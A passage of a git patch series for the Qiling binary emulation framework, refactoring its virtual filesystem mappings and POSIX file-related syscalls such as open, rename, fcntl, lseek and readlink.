whether a file exists on the virtual file system. + + Args: + vpath: virtual path name to check - if not self.path.is_safe_host_path(host_path): - raise PermissionError(f'unsafe path: {host_path}') + Returns: `True` if the specified virtual path has an existing mapping or + resolves to an existing file on the virtual file system. `False` otherwise. + """ - return ql_file.open(host_path, openflags, openmode) - def file_exists(self, path:str) -> bool: - # check if file exists - if self.has_mapping(path): + if self.has_mapping(vpath): return True - host_path = self.path.virtual_to_host_path(path) - if not self.path.is_safe_host_path(host_path): - raise PermissionError(f'unsafe path: {host_path}') - return os.path.isfile(host_path) - - def create_empty_file(self, path:str)->bool: - if not self.file_exists(path): - try: - f = self.open(path, "w+") - f.close() - return True + hpath = self.path.virtual_to_host_path(vpath) + + if not self.path.is_safe_host_path(hpath): + raise PermissionError(f'unsafe path: {hpath}') - except Exception as e: + return os.path.isfile(hpath) + + def create_empty_file(self, vpath: str) -> bool: + if not self.file_exists(vpath): + try: + f = self.open(vpath, "w+") + except OSError: # for some reason, we could not create an empty file. return False + else: + f.close() + return True - - def open(self, path: str, openmode: str): - if self.has_mapping(path): - return self._open_mapping(path, openmode) - host_path = self.path.virtual_to_host_path(path) + def __fspath(self, path: QlPath) -> str: + """Similar to os.fspath, this method takes a path-like object and returns + its string representation. + """ + + if isinstance(path, PathLike): + path = path.__fspath__() - if not self.path.is_safe_host_path(host_path): - raise PermissionError(f'unsafe path: {host_path}') + if isinstance(path, str): + return path - return open(host_path, openmode) + elif isinstance(path, bytes): + return path.decode('utf-8') - def _parse_path(self, p: Union[os.PathLike, str]) -> str: - fspath = getattr(p, '__fspath__', None) + raise TypeError(path) - # p is an `os.PathLike` object - if fspath is not None: - p = fspath() + def add_mapping(self, vpath: QlPath, binding: Union[QlPath, QlFsMappedObject, Callable], *, force: bool = False) -> None: + """Create a new mapping in the virtual filesystem. - if isinstance(p, bytes): # os.PathLike.__fspath__ may return bytes. - p = p.decode("utf-8") + Args: + vpath: a virtual path to bind - return p + binding: a target to use whenever the bound virtual path is referenced. such a target can be + either a path on the host filesystem, an object instance or a class. the behavior of the mapping + is determined by the bound object type: + [*] a string: bind a path on the host filesystem (e.g. "/dev/urandom"). use with caution! + [*] an object: bind an object instance which will be returned each time the virtual path is opened + [*] a class: bind a class that will be instantiated each time the virtual path is opened - def add_fs_mapping(self, ql_path: Union[os.PathLike, str], real_dest: Union[str, QlFsMappedObject, Callable]) -> None: - """Map an object to Qiling emulated file system. + force: when set to `True`, re-mapping an existing vpath becomes possible. In such case, the + old mapping will be discarded - Args: - ql_path: Emulated path which should be convertable to a string or a hashable object. e.g. pathlib.Path - real_dest: Mapped object, can be a string, an object or a callable(class). - string: mapped path in the host machine, e.g. '/dev/urandom' -> '/dev/urandom' - object: mapped object, will be returned each time the emulated path has been opened - class: mapped callable, will be used to create a new instance each time the emulated path has been opened + Raises: + `KeyError`: in case the specified vpath has already been mapped (default behavior). """ - ql_path = self._parse_path(ql_path) - real_dest = self._parse_path(real_dest) + vpath = self.__fspath(vpath) + absvpath = self.path.virtual_abspath(vpath) + + if self.has_mapping(absvpath) and not force: + raise KeyError(f'mapping already exists: "{absvpath}"') - self._mapping[ql_path] = real_dest + if isinstance(binding, (str, bytes, PathLike)): + binding = self.__fspath(binding) - def remove_fs_mapping(self, ql_path: Union[os.PathLike, str]): + self._mapping[absvpath] = binding + + def remove_mapping(self, vpath: QlPath) -> None: """Remove a mapping from the fs mapper. Args: - ql_path (Union[os.PathLike, str]): The mapped path. + vpath: bound virtual path to remove + + Raises: + `KeyError`: in case the specified vpath has no mapping """ - del self._mapping[self._parse_path(ql_path)] + + vpath = self.__fspath(vpath) + absvpath = self.path.virtual_abspath(vpath) + + if not self.has_mapping(absvpath): + raise KeyError(absvpath) + + del self._mapping[absvpath] + + def rename_mapping(self, old_vpath: str, new_vpath: str) -> None: + old_absvpath = self.path.virtual_abspath(old_vpath) + + # vpath to rename does not exist + if not self.has_mapping(old_absvpath): + raise KeyError(old_vpath) + + new_absvpath = self.path.virtual_abspath(new_vpath) + + # new vpath already exists + if self.has_mapping(new_absvpath): + raise KeyError(new_vpath) + + # avoid renaming to the same vapth + if old_absvpath == new_absvpath: + return + + binding = self._mapping[old_absvpath] + + # remove old mapping and add a new one instead + self._mapping[new_absvpath] = binding + del self._mapping[old_absvpath] From 263d5237b362a2b345351c4c9505de331a818596 Mon Sep 17 00:00:00 2001 From: elicn Date: Mon, 27 Mar 2023 20:25:08 +0300 Subject: [PATCH 041/103] Revamp POSIX fcntl --- qiling/os/posix/syscall/fcntl.py | 141 +++++++++++++++++-------------- 1 file changed, 78 insertions(+), 63 deletions(-) diff --git a/qiling/os/posix/syscall/fcntl.py b/qiling/os/posix/syscall/fcntl.py index bca208863..a6c3c1f0f 100644 --- a/qiling/os/posix/syscall/fcntl.py +++ b/qiling/os/posix/syscall/fcntl.py @@ -13,10 +13,9 @@ from qiling.os.posix.const_mapping import ql_open_flag_mapping from qiling.os.posix.filestruct import ql_socket + def ql_syscall_open(ql: Qiling, filename: int, flags: int, mode: int): - path = ql.os.utils.read_cstring(filename) - real_path = ql.os.path.transform_to_real_path(path) - relative_path = ql.os.path.transform_to_relative_path(path) + vpath = ql.os.utils.read_cstring(filename) flags &= 0xffffffff mode &= 0xffffffff @@ -26,62 +25,68 @@ def ql_syscall_open(ql: Qiling, filename: int, flags: int, mode: int): if idx == -1: regreturn = -EMFILE else: - try: - if ql.arch.type == QL_ARCH.ARM and ql.os.type != QL_OS.QNX: - mode = 0 + if ql.arch.type == QL_ARCH.ARM and ql.os.type != QL_OS.QNX: + mode = 0 + try: flags = ql_open_flag_mapping(ql, flags) - ql.os.fd[idx] = ql.os.fs_mapper.open_ql_file(path, flags, mode) - regreturn = idx + ql.os.fd[idx] = ql.os.fs_mapper.open_ql_file(vpath, flags, mode) except QlSyscallError as e: - regreturn = - e.errno + regreturn = -e.errno + else: + regreturn = idx + hpath = ql.os.path.virtual_to_host_path(vpath) + absvpath = ql.os.path.virtual_abspath(vpath) - ql.log.debug("open(%s, 0o%o) = %d" % (relative_path, mode, regreturn)) + ql.log.debug(f'open("{absvpath}", {mode:#o}) = {regreturn}') if regreturn >= 0 and regreturn != 2: - ql.log.debug(f'File found: {real_path:s}') + ql.log.debug(f'File found: {hpath:s}') else: - ql.log.debug(f'File not found {real_path:s}') + ql.log.debug(f'File not found {hpath:s}') return regreturn -def ql_syscall_creat(ql: Qiling, filename: int, mode: int): - flags = posix_open_flags["O_WRONLY"] | posix_open_flags["O_CREAT"] | posix_open_flags["O_TRUNC"] - path = ql.os.utils.read_cstring(filename) - real_path = ql.os.path.transform_to_real_path(path) - relative_path = ql.os.path.transform_to_relative_path(path) +def ql_syscall_creat(ql: Qiling, filename: int, mode: int): + vpath = ql.os.utils.read_cstring(filename) - flags &= 0xffffffff + # FIXME: this is broken + flags = posix_open_flags["O_WRONLY"] | posix_open_flags["O_CREAT"] | posix_open_flags["O_TRUNC"] mode &= 0xffffffff idx = next((i for i in range(NR_OPEN) if ql.os.fd[i] is None), -1) if idx == -1: - regreturn = -ENOMEM + regreturn = -ENOMEM else: - try: - if ql.arch.type == QL_ARCH.ARM: - mode = 0 + if ql.arch.type == QL_ARCH.ARM: + mode = 0 + try: flags = ql_open_flag_mapping(ql, flags) - ql.os.fd[idx] = ql.os.fs_mapper.open_ql_file(path, flags, mode) - regreturn = idx + ql.os.fd[idx] = ql.os.fs_mapper.open_ql_file(vpath, flags, mode) except QlSyscallError as e: regreturn = -e.errno + else: + regreturn = idx - ql.log.debug("creat(%s, 0o%o) = %d" % (relative_path, mode, regreturn)) + hpath = ql.os.path.virtual_to_host_path(vpath) + absvpath = ql.os.path.virtual_abspath(vpath) + + ql.log.debug(f'creat("{absvpath}", {mode:#o}) = {regreturn}') if regreturn >= 0 and regreturn != 2: - ql.log.debug(f'File found: {real_path:s}') + ql.log.debug(f'File found: {hpath:s}') else: - ql.log.debug(f'File not found {real_path:s}') + ql.log.debug(f'File not found {hpath:s}') return regreturn + def ql_syscall_openat(ql: Qiling, fd: int, path: int, flags: int, mode: int): - file_path = ql.os.utils.read_cstring(path) + vpath = ql.os.utils.read_cstring(path) # real_path = ql.os.path.transform_to_real_path(path) # relative_path = ql.os.path.transform_to_relative_path(path) @@ -93,27 +98,29 @@ def ql_syscall_openat(ql: Qiling, fd: int, path: int, flags: int, mode: int): if idx == -1: regreturn = -EMFILE else: - try: - if ql.arch.type == QL_ARCH.ARM: - mode = 0 + fd = ql.unpacks(ql.pack(fd)) + if ql.arch.type == QL_ARCH.ARM: + mode = 0 + + try: flags = ql_open_flag_mapping(ql, flags) - fd = ql.unpacks(ql.pack(fd)) if 0 <= fd < NR_OPEN: fobj = ql.os.fd[fd] + # ql_file object or QlFsMappedObject if hasattr(fobj, "fileno") and hasattr(fobj, "name"): - if not Path.is_absolute(Path(file_path)): - file_path = Path(fobj.name) / Path(file_path) - - ql.os.fd[idx] = ql.os.fs_mapper.open_ql_file(file_path, flags, mode) + if not Path.is_absolute(Path(vpath)): + vpath = str(Path(fobj.name) / Path(vpath)) - regreturn = idx + ql.os.fd[idx] = ql.os.fs_mapper.open_ql_file(vpath, flags, mode) except QlSyscallError as e: regreturn = -e.errno - - ql.log.debug(f'openat(fd = {fd:d}, path = {file_path}, mode = {mode:#o}) = {regreturn:d}') + else: + regreturn = idx + + ql.log.debug(f'openat(fd = {fd:d}, path = {vpath}, mode = {mode:#o}) = {regreturn:d}') return regreturn @@ -209,28 +216,36 @@ def ql_syscall_flock(ql: Qiling, fd: int, operation: int): def ql_syscall_rename(ql: Qiling, oldname_buf: int, newname_buf: int): - """ - rename(const char *oldpath, const char *newpath) - description: change the name or location of a file - ret value: On success, zero is returned. On error, -1 is returned - """ - regreturn = 0 # default value is success - oldpath = ql.os.utils.read_cstring(oldname_buf) - newpath = ql.os.utils.read_cstring(newname_buf) - - ql.log.debug(f"rename() path: {oldpath} -> {newpath}") - - old_realpath = ql.os.path.transform_to_real_path(oldpath) - new_realpath = ql.os.path.transform_to_real_path(newpath) - - if old_realpath == new_realpath: - # do nothing, just return success - return regreturn - - try: - os.rename(old_realpath, new_realpath) - except OSError: - ql.log.exception(f"rename(): {newpath} exists!") - regreturn = -1 + old_vpath = ql.os.utils.read_cstring(oldname_buf) + new_vpath = ql.os.utils.read_cstring(newname_buf) + + old_absvpath = ql.os.path.virtual_abspath(old_vpath) - return regreturn \ No newline at end of file + # if has a mapping, rename the mapped vpath + if ql.os.fs_mapper.has_mapping(old_absvpath): + try: + ql.os.fs_mapper.rename_mapping(old_vpath, new_vpath) + except KeyError: + regreturn = -1 + else: + regreturn = 0 + + # otherwise, rename the actual files + else: + old_hpath = ql.os.path.virtual_to_host_path(old_vpath) + new_hpath = ql.os.path.virtual_to_host_path(new_vpath) + + # if source and target paths are identical, do nothing + if old_hpath == new_hpath: + return 0 + + try: + os.rename(old_hpath, new_hpath) + except OSError: + regreturn = -1 + else: + regreturn = 0 + + ql.log.debug(f'rename("{old_vpath}", "{new_vpath}") = {regreturn}') + + return regreturn From 5aedbaf1662c2b564c3b442323e89e02135d01c1 Mon Sep 17 00:00:00 2001 From: elicn Date: Mon, 27 Mar 2023 20:26:35 +0300 Subject: [PATCH 042/103] Fix close_on_exec type --- qiling/os/filestruct.py | 6 +++--- qiling/os/linux/linux.py | 2 +- qiling/os/posix/syscall/fcntl.py | 4 ++-- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/qiling/os/filestruct.py b/qiling/os/filestruct.py index 050d749f7..1d836c58f 100644 --- a/qiling/os/filestruct.py +++ b/qiling/os/filestruct.py @@ -21,7 +21,7 @@ def __init__(self, path: AnyStr, fd: int): # information for syscall mmap self._is_map_shared = False self._mapped_offset = -1 - self._close_on_exec = 0 + self._close_on_exec = False @classmethod def open(cls, open_path: AnyStr, open_flags: int, open_mode: int, dir_fd: int = None): @@ -88,9 +88,9 @@ def name(self): return self.__path @property - def close_on_exec(self) -> int: + def close_on_exec(self) -> bool: return self._close_on_exec @close_on_exec.setter - def close_on_exec(self, value: int) -> None: + def close_on_exec(self, value: bool) -> None: self._close_on_exec = value diff --git a/qiling/os/linux/linux.py b/qiling/os/linux/linux.py index 3f7196924..9f6359333 100644 --- a/qiling/os/linux/linux.py +++ b/qiling/os/linux/linux.py @@ -117,7 +117,7 @@ def load(self): # on fork or execve, do not inherit opened files tagged as 'close on exec' for i in range(len(self.fd)): - if getattr(self.fd[i], 'close_on_exec', 0): + if getattr(self.fd[i], 'close_on_exec', False): self.fd[i] = None def setup_procfs(self): diff --git a/qiling/os/posix/syscall/fcntl.py b/qiling/os/posix/syscall/fcntl.py index a6c3c1f0f..6904cba92 100644 --- a/qiling/os/posix/syscall/fcntl.py +++ b/qiling/os/posix/syscall/fcntl.py @@ -147,10 +147,10 @@ def ql_syscall_fcntl(ql: Qiling, fd: int, cmd: int, arg: int): regreturn = -EMFILE elif cmd == F_GETFD: - regreturn = getattr(f, "close_on_exec", 0) + regreturn = getattr(f, "close_on_exec", False) elif cmd == F_SETFD: - f.close_on_exec = 1 if arg & FD_CLOEXEC else 0 + f.close_on_exec = bool(arg & FD_CLOEXEC) regreturn = 0 elif cmd == F_GETFL: From 82610397acf3e331d0ac6613a4b3a8dcda3b2ffe Mon Sep 17 00:00:00 2001 From: elicn Date: Thu, 30 Mar 2023 23:37:08 +0300 Subject: [PATCH 043/103] Avoid overwriting custom procfs mappings --- qiling/os/linux/linux.py | 17 ++++++++++++----- 1 file changed, 12 insertions(+), 5 deletions(-) diff --git a/qiling/os/linux/linux.py b/qiling/os/linux/linux.py index 9f6359333..7b706077a 100644 --- a/qiling/os/linux/linux.py +++ b/qiling/os/linux/linux.py @@ -121,11 +121,18 @@ def load(self): self.fd[i] = None def setup_procfs(self): - self.fs_mapper.add_mapping(r'/proc/self/auxv', partial(QlProcFS.self_auxv, self), force=True) - self.fs_mapper.add_mapping(r'/proc/self/cmdline', partial(QlProcFS.self_cmdline, self), force=True) - self.fs_mapper.add_mapping(r'/proc/self/environ', partial(QlProcFS.self_environ, self), force=True) - self.fs_mapper.add_mapping(r'/proc/self/exe', partial(QlProcFS.self_exe, self), force=True) - self.fs_mapper.add_mapping(r'/proc/self/maps', partial(QlProcFS.self_map, self.ql.mem), force=True) + files = ( + (r'/proc/self/auxv', lambda: partial(QlProcFS.self_auxv, self)), + (r'/proc/self/cmdline', lambda: partial(QlProcFS.self_cmdline, self)), + (r'/proc/self/environ', lambda: partial(QlProcFS.self_environ, self)), + (r'/proc/self/exe', lambda: partial(QlProcFS.self_exe, self)), + (r'/proc/self/maps', lambda: partial(QlProcFS.self_map, self.ql.mem)) + ) + + for filename, wrapper in files: + # add mapping only if the user has not already mapped it + if not self.fs_mapper.has_mapping(filename): + self.fs_mapper.add_mapping(filename, wrapper()) def hook_syscall(self, ql, intno = None): return self.load_syscall() From b8c78c686467b6bcbb215d181bd39a7d4c4c91de Mon Sep 17 00:00:00 2001 From: elicn Date: Thu, 30 Mar 2023 23:43:01 +0300 Subject: [PATCH 044/103] Turned close_on_exec into a simple member --- qiling/os/filestruct.py | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/qiling/os/filestruct.py b/qiling/os/filestruct.py index 1d836c58f..5230d7f06 100644 --- a/qiling/os/filestruct.py +++ b/qiling/os/filestruct.py @@ -21,7 +21,7 @@ def __init__(self, path: AnyStr, fd: int): # information for syscall mmap self._is_map_shared = False self._mapped_offset = -1 - self._close_on_exec = False + self.close_on_exec = False @classmethod def open(cls, open_path: AnyStr, open_flags: int, open_mode: int, dir_fd: int = None): @@ -87,10 +87,4 @@ def readline(self, end: bytes = b'\n') -> bytes: def name(self): return self.__path - @property - def close_on_exec(self) -> bool: - return self._close_on_exec - @close_on_exec.setter - def close_on_exec(self, value: bool) -> None: - self._close_on_exec = value From 0fd62090060ae5a385f1cdbf6d653584af124c6d Mon Sep 17 00:00:00 2001 From: elicn Date: Thu, 30 Mar 2023 23:43:50 +0300 Subject: [PATCH 045/103] Added closed property to ql_file --- qiling/os/filestruct.py | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/qiling/os/filestruct.py b/qiling/os/filestruct.py index 5230d7f06..6c93ed825 100644 --- a/qiling/os/filestruct.py +++ b/qiling/os/filestruct.py @@ -18,6 +18,8 @@ class ql_file: def __init__(self, path: AnyStr, fd: int): self.__path = path self.__fd = fd + self.__closed = False + # information for syscall mmap self._is_map_shared = False self._mapped_offset = -1 @@ -52,6 +54,8 @@ def lseek(self, lseek_offset: int, lseek_origin: int = os.SEEK_SET) -> int: def close(self) -> None: os.close(self.__fd) + self.__closed = True + def fstat(self): return Fstat(self.__fd) @@ -87,4 +91,6 @@ def readline(self, end: bytes = b'\n') -> bytes: def name(self): return self.__path - + @property + def closed(self) -> bool: + return self.__closed From 056969fe58d73797dc22868d123333c9639b4d6c Mon Sep 17 00:00:00 2001 From: elicn Date: Thu, 30 Mar 2023 23:48:46 +0300 Subject: [PATCH 046/103] Patched unistd functions --- qiling/os/path.py | 20 +- qiling/os/posix/syscall/unistd.py | 546 +++++++++++++++++------------- 2 files changed, 337 insertions(+), 229 deletions(-) diff --git a/qiling/os/path.py b/qiling/os/path.py index 61c5b8db1..61b3c8cd5 100644 --- a/qiling/os/path.py +++ b/qiling/os/path.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # @@ -10,6 +10,7 @@ AnyPurePath = Union[PurePosixPath, PureWindowsPath] + class QlOsPath: """Virtual to host path manipulations helper. """ @@ -60,6 +61,10 @@ def __strip_parent_refs(path: AnyPurePath) -> AnyPurePath: return path + @property + def root(self) -> str: + return str(self._cwd_anchor) + @property def cwd(self) -> str: return str(self._cwd_anchor / self._cwd_vpath) @@ -274,6 +279,18 @@ def host_to_virtual_path(self, hostpath: str) -> str: return str(virtpath) + def is_virtual_abspath(self, virtpath: str) -> bool: + """Determine whether a given virtual path is absolute. + + Args: + virtpath : virtual path to query + + Returns: `True` if `virtpath` is an absolute path, `False` if relative + """ + + vpath = self.PureVirtualPath(virtpath) + + return vpath.is_absolute() def virtual_abspath(self, virtpath: str) -> str: """Convert a relative virtual path to an absolute virtual path based @@ -346,4 +363,3 @@ def host_casefold_path(self, hostpath: str) -> Optional[str]: return QlOsPath.__host_casefold_path(hostpath) return hostpath - diff --git a/qiling/os/posix/syscall/unistd.py b/qiling/os/posix/syscall/unistd.py index b52f5e4b7..6f413cf3d 100644 --- a/qiling/os/posix/syscall/unistd.py +++ b/qiling/os/posix/syscall/unistd.py @@ -3,23 +3,26 @@ # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # +from __future__ import annotations + import os -import stat import itertools import pathlib -from typing import Iterator -from multiprocessing import Process +from typing import TYPE_CHECKING, Iterator, Optional from qiling import Qiling from qiling.const import QL_ARCH, QL_OS from qiling.os.posix.filestruct import ql_pipe from qiling.os.posix.const import * -from qiling.os.posix.stat import Stat from qiling.core_hooks import QlCoreHooks +if TYPE_CHECKING: + from qiling.os.posix.posix import QlOsPosix + + def ql_syscall_exit(ql: Qiling, code: int): - if ql.os.child_processes == True: + if ql.os.child_processes: os._exit(0) if ql.multithread: @@ -37,7 +40,7 @@ def _sched_cb_exit(cur_thread): def ql_syscall_exit_group(ql: Qiling, code: int): - if ql.os.child_processes == True: + if ql.os.child_processes: os._exit(0) if ql.multithread: @@ -135,99 +138,163 @@ def ql_syscall_setgroups(ql: Qiling, gidsetsize: int, grouplist: int): def ql_syscall_setresuid(ql: Qiling): return 0 + def ql_syscall_setresgid(ql: Qiling): return 0 + def ql_syscall_capget(ql: Qiling, hdrp: int, datap: int): return 0 + def ql_syscall_capset(ql: Qiling, hdrp: int, datap: int): return 0 + def ql_syscall_kill(ql: Qiling, pid: int, sig: int): return 0 +def get_opened_fd(os: QlOsPosix, fd: int): + if fd not in range(NR_OPEN): + # TODO: set errno to EBADF + return None + + f = os.fd[fd] + + if f is None: + # TODO: set errno to EBADF + return None + + return f + + def ql_syscall_fsync(ql: Qiling, fd: int): - try: - os.fsync(ql.os.fd[fd].fileno()) - regreturn = 0 - except: + f = get_opened_fd(ql.os, fd) + + if f is None: regreturn = -1 - ql.log.debug("fsync(%d) = %d" % (fd, regreturn)) + + else: + try: + os.fsync(f.fileno()) + except OSError: + regreturn = -1 + else: + regreturn = 0 + + ql.log.debug(f'fsync({fd:d}) = {regreturn}') + return regreturn def ql_syscall_fdatasync(ql: Qiling, fd: int): try: os.fdatasync(ql.os.fd[fd].fileno()) - regreturn = 0 - except: + except OSError: regreturn = -1 - ql.log.debug("fdatasync(%d) = %d" % (fd, regreturn)) + else: + regreturn = 0 + + ql.log.debug(f'fdatasync({fd:d}) = {regreturn}') + return regreturn -def ql_syscall_faccessat(ql: Qiling, dfd: int, filename: int, mode: int): - access_path = ql.os.utils.read_cstring(filename) - real_path = ql.os.path.transform_to_real_path(access_path) +def virtual_abspath_at(ql: Qiling, vpath: str, dirfd: int) -> Optional[str]: + if ql.os.path.is_virtual_abspath(vpath): + return vpath - if not os.path.exists(real_path): - regreturn = -1 - else: - regreturn = 0 + # + def __as_signed(value: int, nbits: int) -> int: + msb = (1 << (nbits - 1)) + + return -(((value & msb) << 1) - value) + + # syscall params are read as unsigned int by default. until we fix that + # broadly, this is a workaround to turn fd into a signed value + dirfd = __as_signed(dirfd, ql.arch.bits) + # + + if dirfd == AT_FDCWD: + basedir = ql.os.path.cwd - if regreturn == -1: - ql.log.debug(f'File not found or skipped: {access_path}') else: - ql.log.debug(f'File found: {access_path}') + f = get_opened_fd(ql.os, dirfd) - return regreturn + if f is None or not hasattr(f, 'name'): + # EBADF + return None + hpath = f.name -def ql_syscall_lseek(ql: Qiling, fd: int, offset: int, origin: int): - if fd not in range(NR_OPEN): - return -EBADF + if not os.path.isdir(hpath): + # ENOTDIR + return None - f = ql.os.fd[fd] + basedir = ql.os.path.host_to_virtual_path(hpath) - if f is None: - return -EBADF + return str(ql.os.path.PureVirtualPath(basedir, vpath)) - offset = ql.unpacks(ql.pack(offset)) - try: - regreturn = f.seek(offset, origin) - except OSError: +def ql_syscall_faccessat(ql: Qiling, dirfd: int, filename: int, mode: int): + vpath = ql.os.utils.read_cstring(filename) + vpath_at = virtual_abspath_at(ql, vpath, dirfd) + + if vpath_at is None: regreturn = -1 - # ql.log.debug("lseek(fd = %d, ofset = 0x%x, origin = 0x%x) = %d" % (fd, offset, origin, regreturn)) + else: + hpath = ql.os.path.virtual_to_host_path(vpath_at) + + if not ql.os.path.is_safe_host_path(hpath): + raise PermissionError(f'unsafe path: {hpath}') + + regreturn = 0 if os.path.exists(hpath) else -1 + + ql.log.debug(f'faccessat({dirfd:d}, "{vpath}", {mode:d}) = {regreturn}') return regreturn -def ql_syscall__llseek(ql: Qiling, fd: int, offset_high: int, offset_low: int, result: int, whence: int): - if fd not in range(NR_OPEN): - return -EBADF +def ql_syscall_lseek(ql: Qiling, fd: int, offset: int, origin: int): + offset = ql.unpacks(ql.pack(offset)) - f = ql.os.fd[fd] + f = get_opened_fd(ql.os, fd) if f is None: - return -EBADF + regreturn = -1 + + else: + try: + regreturn = f.seek(offset, origin) + except OSError: + regreturn = -1 + + ql.log.debug(f'lseek({fd:d}, {offset:#x}, {origin}) = {regreturn}') + + return regreturn + +def ql_syscall__llseek(ql: Qiling, fd: int, offset_high: int, offset_low: int, result: int, whence: int): # treat offset as a signed value offset = ql.unpack64s(ql.pack64((offset_high << 32) | offset_low)) - origin = whence - try: - ret = f.seek(offset, origin) - except OSError: + f = get_opened_fd(ql.os, fd) + + if f is None: regreturn = -1 + else: - ql.mem.write_ptr(result, ret, 8) - regreturn = 0 + try: + ret = f.seek(offset, whence) + except OSError: + regreturn = -1 + else: + ql.mem.write_ptr(result, ret, 8) + regreturn = 0 - # ql.log.debug("_llseek(%d, 0x%x, 0x%x, 0x%x) = %d" % (fd, offset_high, offset_low, origin, regreturn)) + ql.log.debug(f'_llseek({fd:d}, {offset_high:#x}, {offset_low:#x}, {result:#x}, {whence}) = {regreturn}') return regreturn @@ -251,75 +318,68 @@ def ql_syscall_brk(ql: Qiling, inp: int): def ql_syscall_access(ql: Qiling, path: int, mode: int): - file_path = ql.os.utils.read_cstring(path) - real_path = ql.os.path.transform_to_real_path(file_path) - relative_path = ql.os.path.transform_to_relative_path(file_path) + vpath = ql.os.utils.read_cstring(path) + hpath = ql.os.path.virtual_to_host_path(vpath) - regreturn = 0 if os.path.exists(real_path) else -1 + if not ql.os.path.is_safe_host_path(hpath): + raise PermissionError(f'unsafe path: {hpath}') - # ql.log.debug("access(%s, 0x%x) = %d " % (relative_path, access_mode, regreturn)) + regreturn = 0 if os.path.exists(hpath) else -1 - if regreturn == 0: - ql.log.debug(f'File found: {relative_path}') - else: - ql.log.debug(f'No such file or directory: {relative_path}') + ql.log.debug(f'access("{vpath}", 0{mode:o}) = {regreturn}') return regreturn def ql_syscall_close(ql: Qiling, fd: int): - if fd not in range(NR_OPEN): - return -1 - - f = ql.os.fd[fd] + f = get_opened_fd(ql.os, fd) if f is None: - return -1 + regreturn = -1 - f.close() - ql.os.fd[fd] = None + else: + f.close() + ql.os.fd[fd] = None + regreturn = 0 - return 0 + ql.log.debug(f'close({fd:d}) = {regreturn}') + return regreturn -def ql_syscall_pread64(ql: Qiling, fd: int, buf: int, length: int, offt: int): - if fd not in range(NR_OPEN): - return -1 - f = ql.os.fd[fd] +def ql_syscall_pread64(ql: Qiling, fd: int, buf: int, length: int, offt: int): + f = get_opened_fd(ql.os, fd) if f is None: - return -1 + regreturn = -1 - # https://chromium.googlesource.com/linux-syscall-support/+/2c73abf02fd8af961e38024882b9ce0df6b4d19b - # https://chromiumcodereview.appspot.com/10910222 - if ql.arch.type == QL_ARCH.MIPS: - offt = ql.mem.read_ptr(ql.arch.regs.arch_sp + 0x10, 8) + else: + # https://chromium.googlesource.com/linux-syscall-support/+/2c73abf02fd8af961e38024882b9ce0df6b4d19b + # https://chromiumcodereview.appspot.com/10910222 + if ql.arch.type == QL_ARCH.MIPS: + offt = ql.mem.read_ptr(ql.arch.regs.arch_sp + 0x10, 8) - try: - pos = f.tell() - f.seek(offt) + try: + pos = f.tell() + f.seek(offt) - data = f.read(length) - f.seek(pos) + data = f.read(length) + f.seek(pos) + except OSError: + regreturn = -1 + else: + ql.mem.write(buf, data) - ql.mem.write(buf, data) - except: - regreturn = -1 - else: - regreturn = len(data) + regreturn = len(data) return regreturn def ql_syscall_read(ql: Qiling, fd, buf: int, length: int): - if fd not in range(NR_OPEN): - return -EBADF - - f = ql.os.fd[fd] + f = get_opened_fd(ql.os, fd) if f is None: - return -EBADF + return -1 try: data = f.read(length) @@ -334,13 +394,10 @@ def ql_syscall_read(ql: Qiling, fd, buf: int, length: int): def ql_syscall_write(ql: Qiling, fd: int, buf: int, count: int): - if fd not in range(NR_OPEN): - return -EBADF - - f = ql.os.fd[fd] + f = get_opened_fd(ql.os, fd) if f is None: - return -EBADF + return -1 try: data = ql.mem.read(buf, count) @@ -357,90 +414,95 @@ def ql_syscall_write(ql: Qiling, fd: int, buf: int, count: int): ql.log.warning(f'write failed since fd {fd:d} does not have a write method') regreturn = -1 - return regreturn -def ql_syscall_readlink(ql: Qiling, path_name: int, path_buff: int, path_buffsize: int): - pathname = ql.os.utils.read_cstring(path_name) - # pathname = str(pathname, 'utf-8', errors="ignore") - host_path = ql.os.path.virtual_to_host_path(pathname) - virt_path = ql.os.path.virtual_abspath(pathname) +def __do_readlink(ql: Qiling, absvpath: str, outbuf: int) -> int: + target = None - # cover procfs psaudo files first - # TODO: /proc/self/root, /proc/self/cwd - if virt_path == r'/proc/self/exe': - p = ql.os.path.host_to_virtual_path(ql.path) - p = p.encode('utf-8') + # cover a few procfs pseudo files first + if absvpath == r'/proc/self/exe': + # note this would raise an exception if the binary is not under rootfs + target = ql.os.path.host_to_virtual_path(ql.path) - ql.mem.write(path_buff, p + b'\x00') - regreturn = len(p) + elif absvpath == r'/proc/self/cwd': + target = ql.os.path.cwd - elif os.path.exists(host_path): - regreturn = 0 + elif absvpath == r'/proc/self/root': + target = ql.os.path.root else: - regreturn = -1 + hpath = ql.os.path.virtual_to_host_path(absvpath) - ql.log.debug('readlink("%s", 0x%x, 0x%x) = %d' % (virt_path, path_buff, path_buffsize, regreturn)) + if not ql.os.path.is_safe_host_path(hpath): + raise PermissionError(f'unsafe path: {hpath}') - return regreturn + # FIXME: we do not really know how to emulated links, so we do not read them + if os.path.exists(hpath): + target = '' + if target is None: + return -1 + + cstr = target.encode('utf-8') + + if cstr: + ql.mem.write(outbuf, cstr + b'\x00') + + return len(cstr) -def ql_syscall_getcwd(ql: Qiling, path_buff: int, path_buffsize: int): - localpath = ql.os.path.transform_to_relative_path('./') - localpath = bytes(localpath, 'utf-8') + b'\x00' - ql.mem.write(path_buff, localpath) - regreturn = len(localpath) +def ql_syscall_readlink(ql: Qiling, pathname: int, buf: int, bufsize: int): + vpath = ql.os.utils.read_cstring(pathname) + absvpath = ql.os.path.virtual_abspath(vpath) - pathname = ql.os.utils.read_cstring(path_buff) - # pathname = str(pathname, 'utf-8', errors="ignore") + regreturn = __do_readlink(ql, absvpath, buf) - ql.log.debug("getcwd(%s, 0x%x) = %d" % (pathname, path_buffsize, regreturn)) + ql.log.debug(f'readlink("{vpath}", {buf:#x}, {bufsize:#x}) = {regreturn}') return regreturn -def ql_syscall_chdir(ql: Qiling, path_name: int): - pathname = ql.os.utils.read_cstring(path_name) - host_path = ql.os.path.virtual_to_host_path(pathname) - virt_path = ql.os.path.virtual_abspath(pathname) +def ql_syscall_readlinkat(ql: Qiling, dirfd: int, pathname: int, buf: int, bufsize: int): + vpath = 